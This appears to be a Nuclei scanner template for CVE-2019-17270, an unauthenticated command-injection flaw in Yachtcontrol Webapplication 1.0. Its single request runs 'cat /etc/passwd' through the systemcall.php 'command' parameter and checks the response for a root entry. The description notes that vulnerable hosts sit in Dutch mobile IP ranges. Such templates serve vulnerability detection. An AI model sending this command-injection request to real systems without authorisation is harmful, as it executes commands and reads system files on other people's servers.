id: CVE-2019-17270

info:
  name: Yachtcontrol Webapplication 1.0 - Unauthenticated Rce
  author: pikpikcu
  severity: critical
  description: |
    A vulnerability in Yachtcontrol makes it possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
  reference:
    - https://www.exploit-db.com/exploits/47760
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17270
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17270
    cwe-id: CWE-78
  tags: rce,yachtcontrol,cve,cve2019

requests:
  - method: GET
    path:
      - "{{BaseURL}}/pages/systemcall.php?command=cat%20/etc/passwd"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200